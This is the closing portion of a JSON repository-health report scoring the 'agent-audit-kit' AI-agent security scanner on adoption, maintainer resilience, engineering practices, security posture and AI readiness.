              "days_since_last_human_commit_is_floor": false
            },
            "components": [
              {
                "key": "project_is_still_maintained",
                "name": "Project is still maintained",
                "detail": "maintenance record not established from the collected data",
                "points": 100,
                "status": "met",
                "details": [
                  {
                    "code": "abandonment_unverified",
                    "params": {}
                  }
                ],
                "max_points": 100
              }
            ]
          }
        ],
        "description": "Is the project alive — is code being written and are releases shipping?"
      },
      {
        "key": "community",
        "band": "moderate",
        "name": "Community & Adoption",
        "value": 54,
        "weight": 0.17,
        "metrics": [
          {
            "key": "popularity",
            "band": "critical",
            "name": "Popularity & adoption",
            "note": null,
            "notes": [],
            "value": 18,
            "inputs": {
              "forks": 0,
              "stars": 13,
              "watchers": 0,
              "growth_state": "unverified",
              "growth_factor_pct": 100,
              "growth_unverified_reason": "no_history"
            },
            "components": [
              {
                "key": "stars",
                "name": "Stars",
                "detail": "13 stars",
                "points": 17.5,
                "status": "partial",
                "details": [
                  {
                    "code": "stars",
                    "params": {
                      "count": 13
                    }
                  }
                ],
                "max_points": 60
              },
              {
                "key": "forks",
                "name": "Forks",
                "detail": "0 forks",
                "points": 0,
                "status": "missed",
                "details": [
                  {
                    "code": "forks",
                    "params": {
                      "count": 0
                    }
                  }
                ],
                "max_points": 25
              },
              {
                "key": "watchers",
                "name": "Watchers",
                "detail": "0 watchers",
                "points": 0,
                "status": "missed",
                "details": [
                  {
                    "code": "watchers",
                    "params": {
                      "count": 0
                    }
                  }
                ],
                "max_points": 15
              }
            ]
          },
          {
            "key": "community_health",
            "band": "excellent",
            "name": "Community health",
            "note": null,
            "notes": [],
            "value": 92,
            "inputs": {
              "has_readme": true,
              "has_license": true,
              "readme_badges": null,
              "has_contributing": true,
              "has_issue_template": false,
              "has_code_of_conduct": true,
              "readme_badge_services": [],
              "has_pull_request_template": true
            },
            "components": [
              {
                "key": "readme",
                "name": "README",
                "detail": null,
                "points": 22.5,
                "status": "met",
                "details": [],
                "max_points": 22.5
              },
              {
                "key": "license",
                "name": "License",
                "detail": "recognized license (MIT)",
                "points": 22.5,
                "status": "met",
                "details": [
                  {
                    "code": "license_standard",
                    "params": {}
                  },
                  {
                    "code": "license_spdx",
                    "params": {
                      "spdx": "MIT"
                    }
                  }
                ],
                "max_points": 22.5
              },
              {
                "key": "contributing_guide",
                "name": "CONTRIBUTING guide",
                "detail": null,
                "points": 18,
                "status": "met",
                "details": [],
                "max_points": 18
              },
              {
                "key": "code_of_conduct",
                "name": "Code of conduct",
                "detail": null,
                "points": 13.5,
                "status": "met",
                "details": [],
                "max_points": 13.5
              },
              {
                "key": "issue_template",
                "name": "Issue template",
                "detail": null,
                "points": 0,
                "status": "missed",
                "details": [],
                "max_points": 7.2
              },
              {
                "key": "pr_template",
                "name": "PR template",
                "detail": null,
                "points": 6.3,
                "status": "met",
                "details": [],
                "max_points": 6.3
              }
            ]
          },
          {
            "key": "ecosystem_adoption",
            "band": "moderate",
            "name": "Ecosystem adoption (downloads)",
            "note": "Excluded from scoring (no data or not applicable): Registry dependents. Remaining weights renormalized.",
            "notes": [
              {
                "code": "excluded_no_data",
                "params": {
                  "components": [
                    "registry_dependents"
                  ]
                }
              },
              {
                "code": "weights_renormalized",
                "params": {}
              }
            ],
            "value": 58,
            "inputs": {
              "packages": [
                "agent-audit-kit"
              ],
              "dependents": null,
              "ecosystems": "pypi",
              "total_downloads": null,
              "monthly_downloads": 2808
            },
            "components": [
              {
                "key": "monthly_downloads",
                "name": "Monthly downloads",
                "detail": "2,808 downloads/month across pypi",
                "points": 46,
                "status": "partial",
                "details": [
                  {
                    "code": "downloads_monthly",
                    "params": {
                      "count": 2808,
                      "ecosystems": "pypi"
                    }
                  }
                ],
                "max_points": 80
              },
              {
                "key": "registry_dependents",
                "name": "Registry dependents",
                "detail": "not reported by this ecosystem",
                "points": 0,
                "status": "excluded",
                "details": [
                  {
                    "code": "not_reported_by_this_ecosystem",
                    "params": {}
                  }
                ],
                "max_points": 20
              }
            ]
          }
        ],
        "description": "Does the project have users, downloads, attention, and a welcoming setup for contributors?"
      },
      {
        "key": "governance",
        "band": "good",
        "name": "Sustainability & Governance",
        "value": 65,
        "weight": 0.23,
        "metrics": [
          {
            "key": "maintainer_resilience",
            "band": "at_risk",
            "name": "Maintainer resilience (bus factor)",
            "note": null,
            "notes": [],
            "value": 24,
            "inputs": {
              "bus_factor": 1,
              "contributors_sampled": 3,
              "top_contributor_share": 0.639
            },
            "components": [
              {
                "key": "bus_factor",
                "name": "Bus factor",
                "detail": "1 contributor(s) cover half of all commits",
                "points": 9,
                "status": "partial",
                "details": [
                  {
                    "code": "bus_factor",
                    "params": {
                      "count": 1
                    }
                  }
                ],
                "max_points": 54
              },
              {
                "key": "commit_distribution",
                "name": "Commit distribution",
                "detail": "top contributor authored 64% of commits",
                "points": 8.1,
                "status": "partial",
                "details": [
                  {
                    "code": "top_contributor_share",
                    "params": {
                      "share": 64
                    }
                  }
                ],
                "max_points": 22.5
              },
              {
                "key": "contributor_breadth",
                "name": "Contributor breadth",
                "detail": "3 contributors",
                "points": 4.1,
                "status": "partial",
                "details": [
                  {
                    "code": "contributors_sampled",
                    "params": {
                      "count": 3
                    }
                  }
                ],
                "max_points": 13.5
              },
              {
                "key": "openssf_scorecard_contributors",
                "name": "OpenSSF Scorecard: Contributors",
                "detail": "OpenSSF Scorecard unavailable",
                "points": 0,
                "status": "excluded",
                "details": [
                  {
                    "code": "no_data",
                    "params": {}
                  }
                ],
                "max_points": 10
              }
            ]
          },
          {
            "key": "responsiveness",
            "band": "exceptional",
            "name": "Issue & PR responsiveness",
            "note": "Excluded from scoring (no data or not applicable): Newcomer PR acceptance. Remaining weights renormalized.",
            "notes": [
              {
                "code": "excluded_no_data",
                "params": {
                  "components": [
                    "newcomer_pr_acceptance"
                  ]
                }
              },
              {
                "code": "weights_renormalized",
                "params": {}
              }
            ],
            "value": 94,
            "inputs": {
              "merged_prs": 108,
              "open_issues": 6,
              "closed_issues": 396,
              "prs_merged_7d": null,
              "prs_decided_7d": null,
              "prs_merged_30d": null,
              "prs_decided_30d": null,
              "issue_closed_ratio": 0.985,
              "closed_unmerged_prs": 14,
              "first_time_authors_30d": null,
              "first_time_prs_merged_30d": null,
              "first_time_prs_decided_30d": null
            },
            "components": [
              {
                "key": "issue_resolution",
                "name": "Issue resolution",
                "detail": "98% of issues closed",
                "points": 41.4,
                "status": "partial",
                "details": [
                  {
                    "code": "issues_closed_share",
                    "params": {
                      "share": 98
                    }
                  }
                ],
                "max_points": 42
              },
              {
                "key": "pr_acceptance",
                "name": "PR acceptance",
                "detail": "108/122 decided PRs merged",
                "points": 26.6,
                "status": "partial",
                "details": [
                  {
                    "code": "decided_prs_merged",
                    "params": {
                      "merged": 108,
                      "decided": 122
                    }
                  }
                ],
                "max_points": 30
              },
              {
                "key": "newcomer_pr_acceptance",
                "name": "Newcomer PR acceptance",
                "detail": "no first-time contributor's PR decided in 30d",
                "points": 0,
                "status": "excluded",
                "details": [
                  {
                    "code": "no_newcomer_prs",
                    "params": {
                      "days": 30
                    }
                  }
                ],
                "max_points": 13
              },
              {
                "key": "openssf_scorecard_code_review",
                "name": "OpenSSF Scorecard: Code-Review",
                "detail": "OpenSSF Scorecard unavailable",
                "points": 0,
                "status": "excluded",
                "details": [
                  {
                    "code": "no_data",
                    "params": {}
                  }
                ],
                "max_points": 15
              }
            ]
          },
          {
            "key": "stewardship",
            "band": "moderate",
            "name": "Ownership & stewardship",
            "note": "Excluded from scoring (no data or not applicable): Verified domain. Remaining weights renormalized.",
            "notes": [
              {
                "code": "excluded_no_data",
                "params": {
                  "components": [
                    "verified_domain"
                  ]
                }
              },
              {
                "code": "weights_renormalized",
                "params": {}
              }
            ],
            "value": 58,
            "inputs": {
              "followers": 39,
              "owner_type": "User",
              "is_verified": null,
              "owner_login": "sattyamjjain",
              "public_repos": 72,
              "account_age_days": 3064
            },
            "components": [
              {
                "key": "ownership_backing",
                "name": "Ownership backing",
                "detail": "personal (user) account",
                "points": 10,
                "status": "partial",
                "details": [
                  {
                    "code": "owner_personal",
                    "params": {}
                  }
                ],
                "max_points": 30
              },
              {
                "key": "verified_domain",
                "name": "Verified domain",
                "detail": "not applicable to user accounts",
                "points": 0,
                "status": "excluded",
                "details": [
                  {
                    "code": "not_applicable_to_user_accounts",
                    "params": {}
                  }
                ],
                "max_points": 20
              },
              {
                "key": "owner_reach",
                "name": "Owner reach",
                "detail": "39 followers of sattyamjjain",
                "points": 11.5,
                "status": "partial",
                "details": [
                  {
                    "code": "owner_followers",
                    "params": {
                      "count": 39,
                      "login": "sattyamjjain"
                    }
                  }
                ],
                "max_points": 25
              },
              {
                "key": "track_record",
                "name": "Track record",
                "detail": "72 public repos, account ~8 yr old",
                "points": 25,
                "status": "met",
                "details": [
                  {
                    "code": "public_repos",
                    "params": {
                      "count": 72
                    }
                  },
                  {
                    "code": "account_age_years",
                    "params": {
                      "years": 8
                    }
                  }
                ],
                "max_points": 25
              }
            ]
          },
          {
            "key": "package_maintenance",
            "band": "exceptional",
            "name": "Package maintenance",
            "note": null,
            "notes": [],
            "value": 100,
            "inputs": {
              "packages": [
                "agent-audit-kit"
              ],
              "ecosystems": "pypi",
              "any_deprecated": false,
              "min_days_since_publish": 0
            },
            "components": [
              {
                "key": "published_resolvable",
                "name": "Published & resolvable",
                "detail": "1 package(s) on pypi",
                "points": 25,
                "status": "met",
                "details": [
                  {
                    "code": "packages_published",
                    "params": {
                      "count": 1,
                      "ecosystems": "pypi"
                    }
                  }
                ],
                "max_points": 25
              },
              {
                "key": "publish_recency",
                "name": "Publish recency",
                "detail": "latest publish 0 days ago",
                "points": 35,
                "status": "met",
                "details": [
                  {
                    "code": "publish_recency",
                    "params": {
                      "days": 0
                    }
                  }
                ],
                "max_points": 35
              },
              {
                "key": "version_history",
                "name": "Version history",
                "detail": "44 published versions",
                "points": 20,
                "status": "met",
                "details": [
                  {
                    "code": "published_versions",
                    "params": {
                      "count": 44
                    }
                  }
                ],
                "max_points": 20
              },
              {
                "key": "not_deprecated",
                "name": "Not deprecated",
                "detail": "active, not deprecated or yanked",
                "points": 20,
                "status": "met",
                "details": [
                  {
                    "code": "package_not_deprecated",
                    "params": {}
                  }
                ],
                "max_points": 20
              }
            ]
          }
        ],
        "description": "Will the project survive its people — bus factor, responsiveness, who backs it, and package upkeep?"
      },
      {
        "key": "engineering",
        "band": "exceptional",
        "name": "Engineering Quality",
        "value": 100,
        "weight": 0.19,
        "metrics": [
          {
            "key": "engineering_practices",
            "band": "exceptional",
            "name": "Engineering practices",
            "note": null,
            "notes": [],
            "value": 100,
            "inputs": {
              "has_ci": true,
              "has_tests": true,
              "has_editorconfig": true,
              "has_linter_config": true,
              "has_precommit_config": true
            },
            "components": [
              {
                "key": "ci_workflows",
                "name": "CI workflows",
                "detail": "12 workflow(s)",
                "points": 24,
                "status": "met",
                "details": [
                  {
                    "code": "ci_workflows",
                    "params": {
                      "count": 12
                    }
                  }
                ],
                "max_points": 24
              },
              {
                "key": "tests_present",
                "name": "Tests present",
                "detail": null,
                "points": 24,
                "status": "met",
                "details": [],
                "max_points": 24
              },
              {
                "key": "linter_config",
                "name": "Linter config",
                "detail": null,
                "points": 16,
                "status": "met",
                "details": [],
                "max_points": 16
              },
              {
                "key": "pre_commit_hooks",
                "name": "Pre-commit hooks",
                "detail": null,
                "points": 9.6,
                "status": "met",
                "details": [],
                "max_points": 9.6
              },
              {
                "key": "editorconfig",
                "name": ".editorconfig",
                "detail": null,
                "points": 6.4,
                "status": "met",
                "details": [],
                "max_points": 6.4
              },
              {
                "key": "openssf_scorecard_ci_tests",
                "name": "OpenSSF Scorecard: CI-Tests",
                "detail": "OpenSSF Scorecard unavailable",
                "points": 0,
                "status": "excluded",
                "details": [
                  {
                    "code": "no_data",
                    "params": {}
                  }
                ],
                "max_points": 20
              }
            ]
          },
          {
            "key": "documentation",
            "band": "exceptional",
            "name": "Documentation",
            "note": null,
            "notes": [],
            "value": 100,
            "inputs": {
              "topics": [
                "ai-agent",
                "ai-security",
                "claude-code",
                "github-action",
                "mcp",
                "mcp-security",
                "owasp",
                "sarif",
                "scanner",
                "security",
                "supply-chain-security",
                "tool-poisoning",
                "ai-agent-security",
                "ai-safety",
                "security-scanner",
                "static-analysis"
              ],
              "has_wiki": true,
              "homepage": "https://github.com/sattyamjjain/agent-audit-kit#readme",
              "has_readme": true,
              "has_docs_dir": true,
              "has_description": true
            },
            "components": [
              {
                "key": "readme",
                "name": "README",
                "detail": null,
                "points": 30,
                "status": "met",
                "details": [],
                "max_points": 30
              },
              {
                "key": "documentation_directory",
                "name": "Documentation directory",
                "detail": null,
                "points": 25,
                "status": "met",
                "details": [],
                "max_points": 25
              },
              {
                "key": "documentation_homepage_site",
                "name": "Documentation / homepage site",
                "detail": "https://github.com/sattyamjjain/agent-audit-kit#readme",
                "points": 15,
                "status": "met",
                "details": [],
                "max_points": 15
              },
              {
                "key": "repository_description",
                "name": "Repository description",
                "detail": null,
                "points": 10,
                "status": "met",
                "details": [],
                "max_points": 10
              },
              {
                "key": "topics",
                "name": "Topics",
                "detail": "16 topics",
                "points": 10,
                "status": "met",
                "details": [
                  {
                    "code": "topics_count",
                    "params": {
                      "count": 16
                    }
                  }
                ],
                "max_points": 10
              },
              {
                "key": "wiki",
                "name": "Wiki",
                "detail": null,
                "points": 10,
                "status": "met",
                "details": [],
                "max_points": 10
              }
            ]
          }
        ],
        "description": "Are baseline engineering and documentation practices in place?"
      },
      {
        "key": "security",
        "band": "exceptional",
        "name": "Security",
        "value": 100,
        "weight": 0.16,
        "metrics": [
          {
            "key": "security_posture",
            "band": "exceptional",
            "name": "Security posture",
            "note": "Excluded from scoring (no data or not applicable): Dependency lockfiles. Remaining weights renormalized.",
            "notes": [
              {
                "code": "excluded_no_data",
                "params": {
                  "components": [
                    "dependency_lockfiles"
                  ]
                }
              },
              {
                "code": "weights_renormalized",
                "params": {}
              }
            ],
            "value": 100,
            "inputs": {
              "source": "file_signals",
              "lockfiles": [],
              "manifests": [
                "pyproject.toml",
                "requirements-lock.txt",
                "vscode-extension/package.json"
              ],
              "has_codeql_workflow": true,
              "has_security_policy": true,
              "has_dependabot_config": true
            },
            "components": [
              {
                "key": "security_policy_security_md",
                "name": "Security policy (SECURITY.md)",
                "detail": null,
                "points": 30,
                "status": "met",
                "details": [],
                "max_points": 30
              },
              {
                "key": "dependabot_config",
                "name": "Dependabot config",
                "detail": null,
                "points": 25,
                "status": "met",
                "details": [],
                "max_points": 25
              },
              {
                "key": "dependency_lockfiles",
                "name": "Dependency lockfiles",
                "detail": "published library — lockfiles are an application concern, not expected",
                "points": 0,
                "status": "excluded",
                "details": [
                  {
                    "code": "lockfiles_not_expected",
                    "params": {}
                  }
                ],
                "max_points": 25
              },
              {
                "key": "codeql_workflow",
                "name": "CodeQL workflow",
                "detail": null,
                "points": 20,
                "status": "met",
                "details": [],
                "max_points": 20
              }
            ]
          },
          {
            "key": "high_risk_jurisdiction_exposure",
            "band": "exceptional",
            "name": "High-Risk Jurisdiction Exposure",
            "note": "Only high-confidence self-published location evidence affects this multiplier. Ambiguous matches are review-only; country evidence is not proof of nationality, citizenship, legal registration, malicious intent, or sanctions status.",
            "notes": [
              {
                "code": "jurisdiction_evidence_limits",
                "params": {}
              }
            ],
            "value": 100,
            "inputs": {
              "meaning": "self-published location evidence; not nationality or citizenship",
              "red_flag": false,
              "exposures": [],
              "policy_countries": [
                "Russia",
                "Iran",
                "North Korea"
              ],
              "commit_weight_rule": {
                "min_commits": 50,
                "min_commit_share": 0.1
              },
              "review_only_matches": 0,
              "below_threshold_exposures": [],
              "assessed_self_published_locations": 2
            },
            "components": [
              {
                "key": "policy_exposure_multiplier",
                "name": "Policy exposure multiplier",
                "detail": "no confirmed policy-scope location match",
                "points": 100,
                "status": "met",
                "details": [
                  {
                    "code": "jurisdiction_no_match",
                    "params": {}
                  }
                ],
                "max_points": 100
              }
            ]
          }
        ],
        "description": "Are visible security and supply-chain practices strong, with no malicious dependency and no unresolved high-risk jurisdiction exposure?"
      },
      {
        "key": "ai_readiness",
        "band": "excellent",
        "name": "AI Readiness",
        "value": 87,
        "weight": 0.04,
        "metrics": [
          {
            "key": "ai_agent_context",
            "band": "excellent",
            "name": "Agent context & guidance",
            "note": null,
            "notes": [],
            "value": 85,
            "inputs": {
              "has_llms_txt": false,
              "legible_history_share": 1,
              "agent_instruction_files": [
                "CLAUDE.md",
                "vscode-extension/CLAUDE.md"
              ],
              "agent_instruction_max_bytes": 7188
            },
            "components": [
              {
                "key": "agent_instructions",
                "name": "Agent instructions",
                "detail": "CLAUDE.md, vscode-extension/CLAUDE.md",
                "points": 45,
                "status": "met",
                "details": [
                  {
                    "code": "file_list",
                    "params": {
                      "files": "CLAUDE.md, vscode-extension/CLAUDE.md"
                    }
                  }
                ],
                "max_points": 45
              },
              {
                "key": "machine_readable_docs_llms_txt",
                "name": "Machine-readable docs (llms.txt)",
                "detail": null,
                "points": 0,
                "status": "missed",
                "details": [],
                "max_points": 15
              },
              {
                "key": "legible_commit_history",
                "name": "Legible commit history",
                "detail": "94 of 94 human commits state their intent (structured subject or explanatory body)",
                "points": 40,
                "status": "met",
                "details": [
                  {
                    "code": "legible_history",
                    "params": {
                      "legible": 94,
                      "sampled": 94
                    }
                  }
                ],
                "max_points": 40
              }
            ]
          },
          {
            "key": "ai_verify_loop",
            "band": "exceptional",
            "name": "Verify loop (build / test / typecheck)",
            "note": null,
            "notes": [],
            "value": 100,
            "inputs": {
              "has_nix": false,
              "has_tests": true,
              "lockfiles": [],
              "has_dockerfile": true,
              "typed_language": false,
              "bootstrap_files": [
                "Makefile"
              ],
              "has_devcontainer": false,
              "has_linter_config": true,
              "typecheck_configs": [
                "vscode-extension/tsconfig.json"
              ],
              "agent_commit_share": 0.52,
              "toolchain_manifests": [
                "tests/fixtures/cves/dns-rebind-sdk-class/java-patched/pom.xml",
                "tests/fixtures/cves/dns-rebind-sdk-class/java-vulnerable/pom.xml"
              ],
              "dependency_bot_commit_share": 0.06
            },
            "components": [
              {
                "key": "one_command_bootstrap",
                "name": "One-command bootstrap",
                "detail": "Makefile",
                "points": 18,
                "status": "met",
                "details": [
                  {
                    "code": "file_list",
                    "params": {
                      "files": "Makefile"
                    }
                  }
                ],
                "max_points": 18
              },
              {
                "key": "automated_tests",
                "name": "Automated tests",
                "detail": null,
                "points": 22,
                "status": "met",
                "details": [],
                "max_points": 22
              },
              {
                "key": "lint_format_config",
                "name": "Lint / format config",
                "detail": null,
                "points": 11,
                "status": "met",
                "details": [],
                "max_points": 11
              },
              {
                "key": "static_type_checking",
                "name": "Static type checking",
                "detail": "vscode-extension/tsconfig.json",
                "points": 11,
                "status": "met",
                "details": [
                  {
                    "code": "file_list",
                    "params": {
                      "files": "vscode-extension/tsconfig.json"
                    }
                  }
                ],
                "max_points": 11
              },
              {
                "key": "reproducible_environment",
                "name": "Reproducible environment",
                "detail": "Dockerfile",
                "points": 10,
                "status": "met",
                "details": [
                  {
                    "code": "file_list",
                    "params": {
                      "files": "Dockerfile"
                    }
                  }
                ],
                "max_points": 10
              },
              {
                "key": "demonstrated_agent_practice",
                "name": "Demonstrated agent practice",
                "detail": "52 of the last 100 commits agent-authored or agent-credited",
                "points": 10,
                "status": "met",
                "details": [
                  {
                    "code": "agent_authored_commits",
                    "params": {
                      "count": 52,
                      "sampled": 100
                    }
                  }
                ],
                "max_points": 10
              },
              {
                "key": "automated_maintenance",
                "name": "Automated maintenance",
                "detail": "6 of the last 100 commits are automated dependency updates",
                "points": 8,
                "status": "met",
                "details": [
                  {
                    "code": "dependency_bot_commits",
                    "params": {
                      "count": 6,
                      "sampled": 100
                    }
                  }
                ],
                "max_points": 8
              },
              {
                "key": "openssf_scorecard_pinned_dependencies",
                "name": "OpenSSF Scorecard: Pinned-Dependencies",
                "detail": "OpenSSF Scorecard unavailable",
                "points": 0,
                "status": "excluded",
                "details": [
                  {
                    "code": "no_data",
                    "params": {}
                  }
                ],
                "max_points": 10
              }
            ]
          },
          {
            "key": "ai_code_legibility",
            "band": "excellent",
            "name": "Code legibility for models",
            "note": null,
            "notes": [],
            "value": 82,
            "inputs": {
              "primary_language": "Python",
              "largest_source_bytes": 300830,
              "source_files_sampled": 418,
              "oversized_source_files": 2
            },
            "components": [
              {
                "key": "type_checkable_code",
                "name": "Type-checkable code",
                "detail": "Python with type-check config (vscode-extension/tsconfig.json)",
                "points": 27,
                "status": "partial",
                "details": [
                  {
                    "code": "typecheck_config_language",
                    "params": {
                      "files": "vscode-extension/tsconfig.json",
                      "language": "Python"
                    }
                  }
                ],
                "max_points": 45
              },
              {
                "key": "manageable_file_sizes",
                "name": "Manageable file sizes",
                "detail": "2/418 source files over 60KB",
                "points": 54.7,
                "status": "partial",
                "details": [
                  {
                    "code": "oversized_source_files",
                    "params": {
                      "kb": 60,
                      "sampled": 418,
                      "oversized": 2
                    }
                  }
                ],
                "max_points": 55
              }
            ]
          },
          {
            "key": "ai_interfaces",
            "band": "moderate",
            "name": "Machine-readable interfaces",
            "note": null,
            "notes": [],
            "value": 60,
            "inputs": {
              "example_dirs": [
                "examples"
              ],
              "has_mcp_signal": true,
              "api_schema_files": []
            },
            "components": [
              {
                "key": "api_schema_openapi_graphql_proto",
                "name": "API schema (OpenAPI/GraphQL/proto)",
                "detail": null,
                "points": 0,
                "status": "missed",
                "details": [],
                "max_points": 40
              },
              {
                "key": "mcp_server",
                "name": "MCP server",
                "detail": null,
                "points": 20,
                "status": "met",
                "details": [],
                "max_points": 20
              },
              {
                "key": "runnable_examples",
                "name": "Runnable examples",
                "detail": "examples",
                "points": 40,
                "status": "met",
                "details": [
                  {
                    "code": "file_list",
                    "params": {
                      "files": "examples"
                    }
                  }
                ],
                "max_points": 40
              }
            ]
          }
        ],
        "description": "How well is the repo equipped to be developed and maintained with AI coding agents? Carries a deliberately small weight: agent tooling is a real maintenance signal, but its absence must never gate the top of the scale (calibration saturates at raw 91, so 100/100 remains reachable with AI Readiness at zero)."
      }
    ],
    "metrics_version": "2.2.0"
  },
  "warnings": [
    "Star history unavailable: GitHub GraphQL error: Resource not accessible by personal access token",
    "Could not fetch npm package 'agent-audit-kit' from its registry",
    "GitHub dependency-graph SBOM unavailable (404); the dependency graph may be disabled for this repository",
    "deps.dev does not index pypi:agent-audit-kit@0.3.66; advisories assessed against the repository dependency graph instead",
    "OpenSSF Scorecard did not return a usable result (2026/08/02 10:19:51 Warning: PATs stored in env variables GITHUB_AUTH_TOKEN and GITHUB_TOKEN differ. Scorecard will use the former.); skipping Scorecard checks"
  ],
  "report_type": "repository",
  "generated_at": "2026-08-02T10:20:31.929619Z",
  "schema_version": "0.27.0",
  "badge_url": "https://raw.githubusercontent.com/inspect-software/badges/main/v1/s/sattyamjjain/agent-audit-kit.svg",
  "full_name": "sattyamjjain/agent-audit-kit",
  "license_state": "standard",
  "license_spdx": "MIT"
}